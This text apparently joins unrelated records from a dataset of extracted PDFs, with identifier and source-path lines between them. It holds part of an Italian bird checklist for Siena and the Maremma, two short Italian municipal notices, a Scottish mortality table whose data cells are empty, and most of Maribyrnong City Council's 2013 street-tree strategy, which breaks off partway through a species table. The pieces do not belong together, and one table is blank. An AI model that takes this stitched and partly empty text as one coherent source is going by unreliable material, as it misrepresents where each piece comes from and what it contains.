(D. A.). Pelecanus Onocrotalus, Pellicano. Accidentale, è stato ucciso lungo l’Arbia (D.); casuale dopo burrasche ad Orbetello, Burano e Castiglione della Pescaia (A.). Phalacrocorax Carbo, Marangone. Comune e sedentario in Maremma (D. A.). Ardea cinerea, Nonna, Cecero. Scarso od accidentale nel Senese, sedentario e comune in Maremma ove giunge anche in abbondanza per svernare (D. A. C.). Ardea purpurea, Ranocchiaja, Nonna rossa. Di passo regolare in primavera (D.); estivo (A. C.). Egretta alba, Airone maggiore. Accidentale, avuta in maggio (D.); rara, nell’inverno 1880 varie comparvero nel padule di Scarlino ne ebbi una (A.); passa in novembre (C.). Egretta Garzetta, Airone minore. Estiva e nidificante nel padule di Castiglione della Pescaia (D. A. C.). Ardeola ralloides. Di passo in marzo, aprile e maggio (D.); passa anche in autunno (A.). Ardetta minuta, Nonnotto. Estivo e comune, in Maremma specialmente (D.). Botaurus stellaris, Cappone di padule. Non comune, sedentario in Maremma, invernale nel Senese (D.); abbonda più in primavera ed autunno (A. C.). Nycticorax griseus, Pavoncella di padule. Comune di passo in maggio; estivo e nidificante in Maremma, parte in settembre (D.); di passo specialmente in maggio (A.). Ciconia alba. Accidentale, avuta in maggio (D.). Ciconia nigra. Rarissima (D.). Platalea Leucorodia. Ne ebbi due, uno in maggio 1854 da Castiglione, l’altro in aprile 1856 da Orbetello (D.). Plegadis Falcinellus, Mignattaio. Di passo regolare in aprile e maggio, si trattiene circa un mese (D. A.). Phoenicopterus roseus, Fiammante. Di comparsa accidentale (D.); dopo violenti burrasche da mezzogiorno (A.). Cygnus Olor, Cigno reale. Di comparsa accidentale, nel gennaio 1845 ne comparvero 13 sul padule di Castiglione (D.); casuale d’inverno, uno fu ucciso sul lago di Orbetello (A.). Cygnus musicus, Cigno salvatico. Accidentale, uno venne ucciso nel padule di Searlino il 6 febbraio 1861 (D.); raro assai (A.). Anser cinereus, Oca paglietana. Di passo invernale irregolare (A.); in novembre (C.). Anser segetum, Oca granajola. Invernale, giunge a grossi branchi (D. A.). Anser albifrons. Accidentale affatto (D.). Tadorna cornuta. Di passo accidentale, avuta in febbraio e marzo (D.). Anas Boscas, Germano. Sedentario in scarso numero nella Maremma, ed invernale in abbondanza (D. A. C.). Chaulelasmus streperus, Moriyiana. Invernale e comune in Maremma (D.). Spatula clypeata, Mestolone. Invernale e di passo più o meno copioso in novembre e marzo (D.); passa anche in settembre (A.). Dafila acuta, Codona. Non tanto comune nel marzo (D.): invernale (A. C.). Mareca Penelope, Fischione, Caporosso. Comunissimo, specialmente in marzo in Maremma (D.); invernale (A.). Nettion Crecca, Barazzolo. Sedentaria, ma abbondantissima nell'inverno (D. A. C). Querquedula Circia, Marzajola. Meno abbondante, passa in marzo (D.); anche in febbraio (A.). Fuligula rufina. Accidentale, avuto in dicembre (D.); scarso (A.). Fulix ferina, Moriglione. Comune, invernale (D. A.). Fulix Marila, Moretta grigia. Invernale e scarsa (A.). Fulix Fuligula, Moretta. Invernale e comune (D. A.). Fulix Nyroca. Non comune, avuta in marzo (D.); passa in novembre (C.); ed in marzo-aprile, qualche coppia nidifica in Maremma (A.). Bucephala Clangula, Morettone. Invernale (A.). Harelda glacialis. Accidentale in novembre (A.). Œdemia fusca. Accidentale, avuto in dicembre e gennaio (D. A.). Œdemia nigra. Di rara comparsa (A.). Erismatura leucocephala. Accidentale nell'inverno (A.). Mergus Merganser. Ebbi un maschio da Orbetello il 24 dicembre 1862 (D.); raro assai (A.). Mergus Serrator. Raro (D. A.). Mergellus Albellus, Calcinaiola. Non comune, rarissimi gli adulti; giunge in novembre e parte in febbraio (D.); alla foce dei fiumi da gennaio a marzo (A.). Columba Palumbus, Colombaccio. Sedentario e di passo copioso in ottobre e marzo (D. A. C.). Columba Oenas, Colombella. Anco sedentaria, abbondante da ottobre a marzo, ne vidi di passo all'isola del Giglio anche in maggio; ebbi i nidiacei dal Senese e dalla Maremma nel 1858 e nel 1885, ma il caso non è usuale (D.); passa anche in settembre (A. C.). Columba livia. Sedentario tra le rupi del Monte Argentario (D. A.). Turtur tenera, Tortola boscajola. Comune da aprile a settembre (D. A. C.). Perdix rufa, Pernice. Comune e sedentaria ai monti (D. C.). Starna Perdix, Starna. Comune e sedentaria; quelle che co
8b4d118a-f39d-43aa-8701-3994d3b6fdd9
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
767,884
AVVISO Si porta a conoscenza alla cittadinanza a partire dal 05/06/2020 il Cimitero Comunale osserverà il seguente orario di apertura al pubblico: dal LUNEDÌ al VENERDÌ dalle ore 8,00 alle 12,00 La DOMENICA dalle ore 8,00 alle 12,00. Si ricorda che l’accesso e la circolazione pedonale all’interno degli spazi cimiteriali è consentita unicamente alle persone munite degli appositi DPI “dispositivi di protezione individuale”, guanti e mascherina, correttamente indossati e nel rispetto del distanziamento interpersonale di almeno un metro con divieto assoluto di assembramento. IL RESPONSABILE DELL’AREA SERVIZI TECNICI E GESTIONE DEL TERRITORIO F.to Arch. Morreale Vincenzo IL SINDACO F.to Dott. Giuseppe Lombardino
<urn:uuid:6bca5c77-742c-44b4-9271-e8cdb041d78e>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
721
Per lo svolgimento di un corso di alfabetizzazione informatica, promosso dall'Assessorato e dalla Comm Vedi allegato Vedi sito internet della Commissione Pari Opportunità del Comune di Lendinara. 1 / 1
<urn:uuid:8eb93e43-5143-4d55-b102-c3669d9e6f40>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
204
Table 6.14 Average age at death, selected causes, Scotland, 1977 to 2009 | Year | All causes | Cancer | Ischaemic heart disease | |---|---|---|---| | 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 | | | | General Register Office for Scotland, © Crown Copyright 2010
<urn:uuid:049a63f2-083b-4f20-a051-d2e32df3db6a>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
388
CITY OF MARIBYRNONG STREET PLANTING STRATEGY Maribyrnong Street Planting Strategy Adopted August 27, 2013 # Contents 1. **Introduction** 5 2. **Policy Context** 6 3. **The Value of Urban Trees** 8 4. **Objectives & Actions** 9 5. **Planting Structure** 10 6. **Planting Programs** 19 7. **Species Selection** 22 8. **Street & Species Lists – 10 Year Planting Program** 25 9. **When Planting Occurs** 45 10. **Processes** 45 - **Appendix 01 – Preferred Tree Species List** - **Appendix 02 – Non-Preferred Tree Species List** - **Appendix 03 – Installation Notes** - **Appendix 04 – Maintenance Notes** - **Appendix 05 – Assessing Tree Condition** The street trees of the City of Maribyrnong are a valued and essential asset which enhance the image and appeal of the City and improve the health and wellbeing of the community. Broad Street, West Footscray 1 Introduction The street trees of the City of Maribyrnong are a valuable community asset and are the most visible element of the City’s green infrastructure. They help keep our City healthy and have a range of environmental benefits which include reducing summer temperatures, reducing storm water run-off, providing habitat, capturing airborne pollutants and contributing to the wellbeing of the community. The City’s street trees are a key element in establishing identity and character by emphasising important boulevards and defining neighborhoods. The importance of a resilient street tree network will increase in future years as Maribyrnong experiences rises in both population and urban density. The City’s street trees contribute to resident wellbeing and livability by mitigating the adverse impacts of a modern urban environment. A key challenge the Strategy addresses is the selection criteria of tree species that will perform best in local conditions. The Maribyrnong street tree network must be resilient against pest and diseases, be tolerant of periodic low rainfall and be able to thrive in local soils. The lifespan of a healthy tree is long and will benefit multiple generations. This Strategy provides the framework and tools for Council to plan for and manage its street trees over the coming decade, ensuring the City’s streets are fully planted and gaps in the street tree network are routinely filled. This Strategy establishes the framework for the coordinated long term planning and management of the City’s street tree population, and will help residents, local businesses and developers understand the value of the street tree network and Council’s vision for a greener, more livable Maribyrnong. The key objectives of this Strategy establish: - A 10 Year Planting Program - Street tree species selection - Long term management of the City’s street tree network - Street tree removal and replacement procedures 2 Policy Context The Council Plan (2009-2013) is Council’s principal strategic document detailing the vision for Maribyrnong and establishing its key commitments and aspirations. The Council Plan (2009-2013) states in its key commitment area of Amenity that: “We will create a well planned City and improve its amenity by creating streets, neighbourhoods and public places that are safe, sustainable, well used and the pride of the community”. This confirms Council’s aspiration to: “Be green and improve both the streetscape and the environment”. “Improve and maintain the quality and accessibility of social and physical infrastructure through development and implementation of policies and actions to improve the built environment”. The success of this Strategy will be measured by: “Number of new / replacement trees planted”. The Council Plan (2009-2013) states in its key commitment area of Environmental Sustainability that: “We value our precious environmental resources. In partnership with our community we will lead, trial and promote sustainable practices”. This confirms Council’s commitment to: “Reduce its carbon emission in keeping with its ‘Becoming Carbon Neutral’ commitment”. “Educate, inform and lead by example in environmental sustainability”. Success in this Strategy will result in: “Reduction in Council’s greenhouse gas emission, water consumption and use of petrol”. The City of Maribyrnong Municipal Strategic Statement (2011) (21.06-1 Urban Design) focuses on contextual issues of climate change, population growth, sustainability, urban consolidation and the increased importance of a well-designed public realm. In recent decades, the City’s population has increased significantly and is due to grow by a further 34,000 residents by 2030. Large areas of industrial land have been rezoned and are becoming available for residential and mixed-use development. The City is developing a varied residential character, including the Activity Centres of Footscray and Highpoint where higher density development is encouraged. Street trees will be a key piece of green infrastructure that will help the City remain livable by providing amenity and environmental benefits during this period of population growth and increased density. Council also operates within a larger metropolitan strategic planning framework. Recently the State Government has commenced the drafting of a new Metropolitan Planning Strategy. This Strategy reflects a contemporary focus on the issues of creating a distinctive Melbourne, urban consolidation, environmental resilience and the health of the urban environment. This Street Tree Strategy details how the objectives from these broad strategic documents can be achieved. 3 The Value of Urban Trees Image & Amenity Canopy cover improves the aesthetic quality of the streetscape, provides shelter and shade and encourages greater social use of the street. Naturestrip plantings also improve the legibility of streets by helping demarcate safe pedestrian space from vehicle space and aids wayfinding for both pedestrians and motorists. The tree canopy that encloses a residential street alters a driver’s perception of the roadway and can help reduce excessive speed. Trees bring a range of colours, textures, scents, patterns and sounds into the urban environment. They also depict seasonal and weather changes, adding ephemeral qualities to the urban landscape. Trees give a strong sense of place, identity and order by providing character and structure to streets, neighbourhoods and suburbs. Boulevard and avenue plantings of a singular dominant species are strong contributors to the City’s identity and act as linear gateways through the municipality. Historical Context Trees in the built environment form an important layer of an area’s cultural identity. Particular planting palettes can signify an historical period or style of development in the same way as the architecture of a place or neighbourhood can. Often the largest and most grand trees have a rich, historical significance of their own. Environmental Benefits Trees help ameliorate air pollution by absorbing pollutants and trapping airborne particles within foliage. They reduce glare, absorb carbon dioxide from the atmosphere and produce oxygen. Furthermore, the porous structure of tree branches and foliage tempers wind turbulence and reduces urban wind tunnel conditions. Tree canopies are also part of the local ecosystem and contribute to the available habitat and fauna corridors. Urban trees moderate the effects of climate change by reducing erosion, retaining soil moisture and reducing local temperatures by shading buildings and hard surfaces. Economic Considerations By improving the amenity of the local street network, trees can help support commercial activity in retail centres and increase residential property values. Trees can also create energy savings by shading properties and vehicles, and reduce the need for artificial cooling. Deciduous trees further contribute by allowing solar access in winter to reduce heating costs. Urban Heat Island Effect Urbanised areas can be several degrees hotter than rural areas on days of high temperature. Unshaded, large, hard and dark coloured surfaces such as roads, car parks, buildings and rooftops absorb the sun’s heat causing local ambient temperatures to rise. This Urban Heat Island Effect can impact upon public health, energy consumption and air quality. The canopies of mature trees reduce the severity of the Urban Heat Island Effect by shading buildings and infrastructure from the sun, reducing cooling costs and extending the life of buildings and infrastructure. Council has conducted an audit of the existing street tree network and areas of potential heat island hotspots have been targeted for additional tree planting. 4 Objectives & Actions This Street Tree Strategy establishes the planting of over 11,000 new street trees in the City of Maribyrnong by 2023. It will support, manage and increase the City’s street tree network as an essential public green infrastructure asset, essential to the City’s appeal and function. Objectives The Street Tree Strategy will target: Amenity - Establish a planting hierarchy for highways, boulevards, avenues and streets to enhance the City’s identity and increase legibility. - Improve the wellbeing of residents by creating green, attractive and sustainable streets. Environmental Sustainability - Improve the performance of the City’s street trees by identifying species best suited to local conditions and which are resilient to pests, disease and drought. - Make the City better equipped to combat the negative effects of climate change, i.e. Urban Heat Island Effect. - Increase canopy cover to mitigate summer temperatures. - Contribute to Councils commitments of “Becoming Carbon Neutral” and reducing potable water use, *Council Plan (2009-2013)*. - Increase canopy cover to reduce air pollution by intercepting airborne particulates and the uptake of greenhouse gasses. Policy Outcomes - Planting framework - 10 Year Planting Program - Replacement Planting (Infill) - Major Project Planting - Provides clear process for new tree requests and tree removals. - Provides a selection criteria to determine street tree species. - Provides direction on planting roads under the jurisdiction of others i.e. VicRoads. Measures - Build a diverse street tree population of many families, genera and species. - Pursue holistic streetscape design where street trees are integrated with drainage and services works and other asset upgrades. - Promote retention of healthy trees within proposed development sites. - Advocate for increased tree numbers in new developments. Management - Adopt and maintain industry best-practice for the selection, installation, establishment and management of street trees. - Regularly assess the street tree network to inform a proactive maintenance regime. This is to include the implementation and management of a GIS compatible street tree inventory. 5 Planting Structure The City’s street tree planting structure is reflective of the hierarchy of the street network. For example, boulevards and arterial roads are lined with species of significant stature and local streets are planted with smaller species appropriate to the scale of a local street. Street trees can reflect and enhance the character of a neighbourhood. Planting native species into streets surrounding the Maribyrnong River, creeks and bushland reserves is desirable as is the planting of deciduous, exotic species in long established, historic areas such as Footscray, Seddon and Yarraville. Existing avenues of street trees that contribute to neighbourhood character shall be retained and enhanced by progressive infill planting. Streets with poorly performing trees, or high numbers of missing trees, shall be prioritised for replanting which shall include the use of a new species if appropriate. Boulevards A preference is made towards the planting of a single species that exhibits grand stature and strong form. The species may be repeated in verges and medians to form a double or triple row. This method is adopted to create the strongest possible visual and spatial cues to reference the roadway’s status and importance to the City. This planting arrangement also assists wayfinding and contributes to the City’s identity and sense of place. The use of a singular species on a given roadway also helps to streamline maintenance programs. Road design considerations in specific circumstances, such as clear zones, may make it necessary to install trees of alternate species in outer separators, naturestrips and medians where appropriate. Boulevards & Gateways Master Plan The Boulevards and Gateways Masterplan (Page 11) illustrates the City’s network of key thoroughfares and gateways. These nodes are important contributors to the City’s image and function which require specific attention. This masterplan is a key document for the future planning and design of these sites and for collaborative projects with VicRoads. VicRoads Council will engage with VicRoads to establish mutual understanding and agreement on the Boulevard and Gateways Masterplan’s objectives. Council will also seek to align the strategic objectives of both organisations to help facilitate the implementation of the masterplan. Local Streets It is preferrable that local streets are planted with a single tree species. In some circumstances, a pair of species may be appropriate to accommodate: - Site conditions - Street proportions - Soil type - Proximity to buildings and infrastructure including overhead wires. Whilst the use of a singular species is preferred, a pair of species may be appropriate where: - One side of the street or the median is more heavily constrained by services e.g. overhead wires. In this situation an alternate species may be used beneath the wires. - There is a precedent or pre-existing pattern for the planting of alternating species. The street tree planting of activity centres and whole neighbourhoods will be consistent with the urban design outcomes envisioned by Urban Design Frameworks and other strategic Council documents. CITY OF MARIBYRNONG BOULEVARDS & GATEWAYS MASTERPLAN BOULEVARD PRIORITIES 1. Geelong Road 2. Ballarat Road 3. Barkley Street / Hopkins Street 4. Raleigh Road / Cordite Avenue 5. Farnsworth Avenue PRIME GATEWAY GATEWAY BOULEVARD Significant Trees Council highly values significant avenues and individual species of significant trees. This Strategy protects all significant street trees across the City, with the intention of adding further significant plantings over time. Significant street trees that contribute to the heritage of a precinct shall be continually managed as recommended by the Maribyrnong City Council Heritage Review, *Historic Places, Volume 6, Significant Trees in the City of Maribyrnong* (2000). All tree works that involve significant tree species shall be referred to Council’s arborist for assessment and/or treatment. Street Tree Character Types The City has five typical street tree character types. - River Bend Neighbourhoods. - Broad Street Neighbourhoods. - Post 1940 Neighbourhoods - Footscray & Historic Villages - Industry & Commercial Zones These character types have evolved over time and relate to a range of factors including street width, location of services, land use and building density. Each of these character types occur throughout the City, however they dominate five distinct areas shown on page 13. These specific areas range from the narrow historic village streets of Seddon and Yarraville, the more open neighbourhood streets in West Footscray and Maidstone, to the broad accommodating streets of Braybrook and Maribyrnong. The increasing widths of the road network moving from the east of the City to the west or from the south to the north, accommodate different, and typically larger, street tree species. CITY OF MARIBYRNONG STREET TREE CHARACTER PRECINCT PLAN Historic Villages and Footscray Broad Street Neighbourhoods Post 1940 Neighbourhoods River Bend Neighbourhoods Industry & Commerce Zones River Bend Neighbourhoods River Bend Neighbourhoods typically contain medium to large mature trees in wide streets. The housing stock is often of a 1950-2000 era with generous setbacks and established front gardens, creating a spacious and natural setting, which is further enhanced by the proximity to the Maribyrnong River. Native species typify this natural setting and are accommodated well within the existing street network. Contemporary infill development with underground service provides the opportunity for planting trees with significant canopies that will not conflict with overhead services. Indicative Species List: *Angophora costata* Smoothed Barked Apple *Callistemon citrinus* Lemon Scented Bottlebrush *Corymbia citriodora* Lemon Scented Gum Corymbia maculata Indicative Cross Section. Wide streets planted with native trees complementing bushland character. Broad Street Neighbourhoods Broad Street Neighbourhoods typically consist of 1950-2000 housing stock with generous setbacks. The streets are typically wide and well suited to the planting of medium to large tree species. Street tree plantings are presently modest however provide good opportunities for further planting of medium and large street trees. Indicative Species List: *Angophora costata* Smoothed Barked Apple *Corymbia citriodora* Lemon Scented Gum *Ulmus parvifolia* Chinese Elm **Angophora costata** **Indicative Cross Section** Spacious streets planted with large native trees. Post 1940 Neighbourhoods Possessing a broad, open and leafy environment characterised by wider streets and naturestrips than the neighbourhoods to the east, these neighbourhoods are further enhanced by the opportunity for mature trees in front gardens due to generous setbacks. Established exotic species appear in most streetscapes and gardens that create a cohesive experience centred around avenue plantings where large mature trees can be accommodated. Indicative Species List: *Pyrus calleryana* Pear *Quercus palustris* Pin Oak *Ulmus parvifolia* Chinese Elm --- **Platanus orientalis** **Indicative Cross Section** Small streets planted with deciduous exotic trees. Footscray & Historic Villages Narrow road and naturestrip widths of the historic grid network favour small deciduous trees that create an intimate garden suburb feel. Small lot size and compact lot layout of housing stock built prior to 1940 reduces the opportunity for mature trees on private land, making street trees valuable. Wide streets, or where planting within road cut-outs has occurred, creates highly valued avenues of mature exotic species that have popularised the village neighbourhoods of Yarraville, Seddon and Footscray. Indicative Species List: *Lagerstroemia indicar* Crepe Myrtle *Pyrus ussuriensis* Manchurian Pear *Ulmus parvifolia* Chinese Elm Industry & Commercial Zones Dominated by commercial and industrial activity, these streets possess generous widths to accommodate heavy vehicles. Tree planting has historically not been highly valued within these industrial zones and are therefore noticeably absent. Opportunity exists for widespread tree planting of these streets to help achieve Council’s environmental goals and improve the aesthetic qualities of these streets. Indicative Species List: *Angophora costata* Smoothed Barked Apple *Corymbia citriodora* Lemon Scented Gum *Quercus palustris* Pin Oak 6 Planting Programs There are three categories of street tree planting undertaken by Council: - Replacement Planting - 10 Year Planting Program - Major Project Planting Replacement Planting Replacement planting is the installation and establishment of individual trees as a result of resident requests or tree removals, including storm damage and vandalism. Trees in this category will be planted in response to either one of the following: - A tree is removed following approval by Council’s Arborist and a replacement tree is required. - The request for a street tree is approved and the location is not included in an existing planting program. Tree locations for replacement planting generated from the above instances will be programmed as they arise. Replanting will typically occur in the planting season of April to September. Depending on the timing of the request, replanting may occur in the following year, subject to a number of factors including but not limited to: - A high volume of locations requiring replanting at the time a new location is logged. - The time of year the new location is logged as planting will only occur during the (cooler) planting season. - The current planting season being shortened due to drought or other adverse weather conditions. - The availability of tree stock that satisfies the criteria within this Strategy. - Imminent infrastructure or capital works programmed for that location. 10 Year Planting Program The 10 Year Planting Program is a priority based planting program for each street in the City. The first targeted areas for planting will be the streets with the highest street tree vacancy rates. By targeting the streets with the highest vacancy rates the benefits of every new tree planted will be maximized. Street Tree Planting Prioritisation To identify which streets in the City have the lowest rates of street tree planting, Council initiated an audit that took the following steps. 1) The audit was conducted across the entire City using up-to-date aerial imagery and Geographic Information Systems (GIS) to capture data for each street. 2) A vacancy percentage was then calculated for each street based on the number of existing street trees compared with how many potential trees that street could accommodate. 3) Based on the vacancy percentage, each street has been assigned a priority rating of A to J, A being the highest priority and J being the lowest priority. Figure 1 below demonstrates the proportion of the City’s streets assigned a priority rating from ‘A’ being the highest priority rating, to ‘J’ being the lowest priority rating. 63 streets have been assigned a priority rating of ‘A’ because they currently don’t have any, or very few street trees at. Encouragingly, 490 streets have been assigned a priority rating of ‘J’ and have more than 80% of potential street tree locations presently planted with a tree. The 10 Year Planting Program will assist Council in planning for future tree planting seasons, allocate appropriate resources and enable accurate budgets to be forecast. Major Project Planting Street tree planting works will arise from the Highways and Arterials Masterplan, commercial projects, residential projects, Council’s capital works program and other infrastructure projects. These are categorised as Major Project Plantings and are to be consistent with the Street Planting Strategy. 7 Species Selection Background The range of tree species that will thrive in the street environment of Maribyrnong is limited by their adaptability to the reactive clay soils that typify our area. These soils can remain wet in winter yet can be dry and crack in summer months. Soils are often disturbed, compacted or are comprised of imported fill making successful tree establishment difficult. Appropriate planting and establishment methods are critical in these circumstances. To ensure the City’s street tree population is resilient against pests and disease, it must include a diverse mix of species, genera and families to limit the tree networks vulnerability to a potential outbreak. Deciduous exotic species are often well suited to an urban environment. They provide dense summer shade, autumn colour and solar access to buildings in winter. Historically across much of the City, deciduous exotics have been utilised to great effect, a pattern Council intends to continue. The species which generally predominates a street and is performing well will continue to be used. Climate Adaption Careful species selection and strategic planning will help ensure the City’s urban trees continue to thrive and provide an increasingly valuable network of green infrastructure. The urban trees of Maribyrnong must: - Be tolerant of extended periods of consistently high temperatures. - Be tolerant of drought conditions after establishment. - Contribute to the available habitat for native fauna including birdlife and insects. Increasing density and urban infill is reducing the amount of available space for vegetation that can provide shelter and sustenance to native fauna. Key Performance Areas Tree species selected for use in the City are chosen for their ability to perform in three key areas of *climate adaption*, *amenity* and *management*. If proven to perform across each of these three areas, a tree is considered to best serve the needs of the Maribyrnong community. Amenity Historically, trees have been planted in our urban areas for their ability to alleviate the harsher qualities of life in the urban environment. Maribyrnong is experiencing increases in population and urban intensification due to changing land use patterns, its proximity to the centre of Melbourne and the key transportation routes that pass through it. The urban trees of Maribyrnong must: - Be attractive with a form, colour, flower and/or scent that is appealing to the community. Urban trees with strong aesthetic characteristics are appreciated by the community and contribute to the City’s identity and sense of place. - Provide a significant canopy that can shade the ground, infrastructure, homes and other buildings. Large, dense canopies help to reduce localised summer temperatures, energy used for cooling and in the case of deciduous trees, heating costs during winter months. - Have low allergenic qualities by not producing pollen, sap, or any other part that is proven to cause an allergic reaction. Urban trees often grow in close proximity to the homes, schools and workplaces of our community. Selecting a tree species that is not going to cause undue stress is beneficial to both the community and the longevity of the tree. Management Urban trees are an essential piece of green infrastructure that is alive, growing and long lived - many prospective urban tree species can reasonably be expected to live beyond 60 years of age. Urban trees must be continually managed, however careful species selection at the time of planting can help reduce future asset management demands that conflicts with other pieces of infrastructure. The urban trees of Maribyrnong must: - Have a manageable root system. Some tree species are known to have vigorous root systems that can conflict with pavement surfaces, neighbouring properties and water and sewerage infrastructure. - Be resilient against both pest and disease attack. Tree species that are susceptible to the attack of pests and disease that are endemic to Maribyrnong should not be planted. Tree species that are susceptible to the attack of pests and disease which are not yet, but could, become endemic to Maribyrnong should similarly be avoided. A large scale infestation could cause irrevocable damage to Maribyrnong’s urban forest and present a large cost to the City for management, remedial works and replanting. - Tolerate the reactive clay soils that typify Maribyrnong. The long term growth and ultimate success of an urban tree is closely linked to its adaptability to grow in the soil it is planted into. Selection of tree species that not only tolerate, but thrive in Maribyrnong’s reactive clay soils, help ensure the tree’s ongoing health and contribution to the City’s environment. Proposed Species Species which are proposed for use in Maribyrnong typically arise from the following: - Tree species that have been successfully used in Maribyrnong or greater Melbourne in the past. - A tree species that has been used or trialled successfully in a nearby municipality. - A tree species, cultivar or variety that is commercially available. - Meets the key performance areas stated within this strategy. Refer Preferred Tree Species List, Appendix 01, page 49. ## Street & Species Lists ### Braybrook For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|---------------------------------------------------|------------------------------|------------------|--------------|--------------------| | ACTION STREET | Confirmation Pending | | I | 10 | 9 | | ADAMSON STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | H | 32 | 4 | | ADRIAN COURT | *Malus ioensis* 'Plena' | Bechtels Crab Apple | E | 4 | 1 | | AIR FORCE AVENUE | *Pyrus calleryana* | Callery Pear | H | 8 | 6 | | ALMA STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | ALWYN COURT | *Ulmus parvifolia* | Chinese Elm | J | 1 | 10 | | ANNESLEY STREET | *Angophora costata* | Smooth Barked Apple | A | 15 | 9 | | ARTHUR STREET | *Melia azederach* | White Cedar | I | 4 | 9 | | ASH STREET | *Tristaniopsis laurina* | Water Gum | A | 12 | 1 | | ASHLEY STREET | *Pyrus ussuriensis* | Manchurian Pear | F | 89 | 1 | | ATHOL STREET | *Callistemon salignus* | Willow Bottlebrush | A | 12 | 1 | | BALLARAT ROAD | *Ulmus parvifolia* | Chinese Elm | I | 123 | 6 | | BALMORAL STREET | *Melia azederach* | White Cedar | I | 18 | 7 | | BANK STREET | *Callistemon vininalis* | Weeping Bottlebrush | A | 9 | 10 | | BARRIE COURT | *Melia azederach* | White Cedar | A | 11 | 2 | | BARRON AVENUE | Confirmation Pending | | J | 10 | 9 | | BEACHLEY STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | BOOMERANGS AVENUE | *Pyrus calleryana* | Callery Pear | J | 0 | 10 | | BRADFORD COURT | *Pyrus calleryana* 'Bradford' | Bradford Bear | J | 2 | 10 | | BREEN STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | A | 5 | 10 | | BURKE STREET | *Eucalyptus melliodora* | Yellow Box | E | 38 | 2 | | BURNETT AVENUE | *Corymbia ficifolia* | Red Flowering Gum | F | 20 | 3 | | BUTLER STREET | *Ulmus parvifolia* | Chinese Elm | F | 21 | 3 | | CANDY CRESCENT | Confirmation Pending | | J | 0 | 10 | | CARLTON COURT | *Ulmus parvifolia* | Chinese Elm | J | 1 | 10 | | CARLTON STREET | *Ulmus parvifolia* | Chinese Elm | J | 2 | 10 | | CASTLEY CRESCENT | *Agonis flexuosa* | Willow Myrtle | F | 24 | 3 | | CHERRY CRESCENT | *Banksia marginata* | Silver Banksia | E | 7 | 2 | | CHEWTON STREET | *Corymbia maculata* | Spotted Gum | J | 4 | 9 | | CHURCHILL AVENUE | *Corymbia citriodora* | Lemon Scented Gum | H | 78 | 4 | | COMMERCE STREET | *Olea europea* 'Stativa' | Olive | E | 8 | 2 | | COMMERCIAL ROAD | *Ulmus parvifolia* | Chinese Elm | J | 1 | 10 | | CRANWELL STREET | *Eucalyptus leucoxylon* | Yellow Gum | I | 55 | 6 | | CREAL AVENUE | Confirmation Pending | | I | 12 | 9 | | CREMORNE STREET | *Tristaniopsis laurina* | Water Gum | G | 10 | 4 | | CRICK STREET | *Corymbia ficifolia* | Red Flowering Gum | E | 6 | 2 | | CROSS STREET | *Fraxinus griffithii* | Evergreen Ash | J | 8 | 9 | | CROTHIERS STREET | *Lophostemon confertus* | Brush Box | D | 24 | 1 | | DAISY COURT | *Corymbia ficifolia* | Red Flowering Gum | J | 1 | 9 | | DANTUM GROVE | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 8 | 9 | | DARNEY STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 6 | 9 | | DAVID COURT | *Malus ioensis* 'Plena' | Bechtels Crab Apple | A | 3 | 1 | | DEDRICK GROVE | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | DEVONSHIRE ROAD | *Acer buergerianum* | Trident Maple | C | 19 | 1 | | DILLON STREET | *Acacia pendula* (East) | Weeping Myall (East) | I | 4 | 7 | | | *Melia azederach* (West) | White Cedar (West) | | | | | DOBSON CRESCENT | *Ulmus parvifolia* | Chinese Elm | F | 11 | 3 | | DODD STREET | *Agonis flexuosa* | Willow Myrtle | H | 5 | 7 | | DORA STREET | *Acacia Implexa* | Lightwood | H | 2 | 7 | | DUKE STREET | *Corymbia maculata* | Spotted Gum | I | 25 | 7 | | EAST COURT | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | ELIZABETH STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | ELLIS COURT | *Tristaniopsis laurina* | Water Gum | F | 4 | 4 | | ELVA COURT | *Tristaniopsis laurina* | Water Gum | E | 7 | 2 | | ENDERBY COURT | *Acacia podalyrifolia* | Queensland Silver Wattle | G | 3 | 6 | | ERROL STREET | *Eucalyptus eximia* | Yellow Bloodwood | I | 10 | 9 | | ESSEX STREET | *Koelreuteria paniculata* | Golden Rain Tree | J | 0 | 10 | | EVANS STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | A | 30 | 9 | | GARDEN DRIVE | *Ulmus parvifolia* | Chinese Elm | I | 7 | 8 | | GILBERT STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | A | 16 | 9 | | GRAHAM STREET | *Lophostemon confertus* | Brush Box | F | 9 | 3 | | HAMPDEN STREET | *Lophostemon confertus* | Brush Box | H | 15 | 6 | | HANCOCK CRESCENT | *Lophostemon confertus* | Brush Box | J | 3 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |--------------------------|-------------------------------------|------------------------------|------------------|--------------|--------------------| | HANNA COURT | *Corymbia ficifolia* | Red Flowering Gum | H | 3 | 7 | | HARGRAVES CRESCENT | *Lophostemon confertus* | Brush Box | H | 72 | 4 | | HEBB STREET | *Lophostemon confertus* | Brush Box | D | 5 | 2 | | HILLARY STREET | *Callistemon salignus* | Willow Bottlebrush | A | 8 | 10 | | HINKLER STREET | *Malus ioensis 'Plena'* | Bechtels Crab Apple | J | 3 | 10 | | HOTHAM STREET | *Eucalyptus torquata* | Coral Gum | J | 